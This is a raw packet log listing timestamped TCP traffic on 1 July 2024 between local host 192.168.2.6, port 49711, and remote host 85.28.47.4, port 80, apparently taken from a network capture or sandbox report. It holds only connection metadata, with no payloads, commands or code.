Jul 1, 2024 07:20:42.114187956 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.114250898 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.114259005 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.114306927 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.114322901 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.114362001 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.114377022 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.114412069 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.114433050 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.114447117 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.114460945 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.114481926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.114496946 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.114532948 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.114535093 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.114569902 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.114577055 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.114614010 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.114622116 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.114658117 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.114676952 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.114691973 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.114696980 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.114728928 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.114734888 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.114768028 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.114773035 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.114804983 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.114816904 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.114839077 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.114854097 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.114875078 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.114876032 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.114909887 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.114923000 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.114949942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.114960909 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.114984989 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.114996910 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.115020990 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.115029097 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.115055084 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.115063906 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.115102053 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.115119934 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.115200996 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.115216017 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.115247965 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.115253925 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.115282059 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.115283966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.115334988 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.115340948 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.115375042 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.115384102 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.115410089 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.115421057 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.115444899 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.115456104 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.115487099 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.115489960 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.115521908 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.115534067 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.115556955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.115569115 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.115592003 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.115602016 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.115626097 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.115638971 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.115663052 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.115667105 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.115700006 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.115705967 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.115735054 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.115748882 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.115773916 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.115780115 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.115814924 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.115819931 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.115849018 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.115854025 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.115884066 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.115911007 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.115919113 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.115927935 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.115953922 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.115962029 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.115994930 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.124068022 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.124156952 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.195614100 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.195671082 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.195696115 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.195703983 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.195739985 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.195749998 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.195766926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.195781946 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.195796967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.195801020 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.195808887 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.195822001 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.195828915 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.195838928 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.195853949 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.195854902 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.195879936 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.195894003 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.195918083 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.195940971 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.195951939 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.195956945 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.195971966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.195975065 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.195987940 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.195987940 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.196005106 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.196017027 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.196141958 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.196156979 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.196171999 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.196177006 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.196190119 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.196190119 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.196208000 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.196212053 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.196224928 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.196239948 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.196283102 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.196300030 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.196316004 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.196329117 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.196361065 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.196376085 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.196391106 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.196407080 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.196430922 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.196446896 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.196461916 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.196463108 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.196479082 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.196491957 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.196576118 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.196592093 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.196607113 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.196609974 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.196626902 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.196636915 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.196682930 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.196700096 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.196713924 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.196724892 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.196729898 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.196747065 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.196751118 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.196751118 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.196760893 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.196775913 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197101116 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197124004 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197143078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197151899 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197154999 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197173119 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197189093 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197192907 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197204113 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197205067 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197221994 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197227001 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197237968 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197247028 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197253942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197259903 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197271109 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197271109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197288990 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197289944 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197299004 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197324038 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197401047 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197417974 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197436094 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197442055 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197448969 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197453022 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197469950 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197474957 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197483063 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197487116 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197503090 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197504044 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197521925 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197526932 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197532892 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197537899 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197552919 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197554111 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197571039 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197572947 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197590113 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197596073 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197618008 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197643042 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197766066 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197782993 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197807074 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197823048 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197825909 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197839022 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197854996 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197858095 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197870970 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197885036 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197885036 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197886944 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197904110 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197905064 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.197921991 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.197949886 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.198014021 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.198029995 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.198052883 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.198065042 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.206418037 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.206434011 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.206449032 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.206479073 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.206509113 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.206516981 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.206532955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.206547976 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.206562996 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.206578016 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.206579924 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.206604958 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.206623077 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.206649065 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.206662893 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.206679106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.206695080 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.206705093 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.206717014 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.206723928 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.206742048 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.206758976 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.206767082 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.206784964 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.206799984 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.206836939 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.206851959 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.206876993 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.206891060 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.206943035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.206960917 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.206990957 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.207015038 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.207030058 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.207045078 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.207060099 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.207066059 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.207077026 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.207089901 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.207096100 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.207113981 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.207146883 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.207154989 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.207170963 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.207195997 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.207221031 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.207279921 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.207297087 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.207312107 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.207324982 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.207328081 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.207345009 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.207348108 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.207361937 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.207369089 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.207379103 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.207396030 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.207426071 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.207505941 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.207523108 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.207539082 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.207551956 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.207549095 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.207562923 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.207587957 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.278146029 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.278208017 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.278213978 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.278260946 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.278263092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.278310061 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.278316021 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.278352022 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.278357983 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.278388023 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.278398037 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.278439999 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.278440952 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.278497934 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.278503895 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.278532982 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.278542995 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.278582096 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.278585911 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.278620005 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.278630018 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.278655052 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.278661966 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.278690100 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.278700113 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.278731108 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.278733015 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.278776884 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.289158106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289186001 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289201975 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289216995 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289227962 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.289233923 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289248943 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289264917 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.289266109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289283037 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289298058 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.289308071 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289310932 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.289321899 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289339066 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289344072 CEST	49711	80	192.168.2.6	85.28.47.4
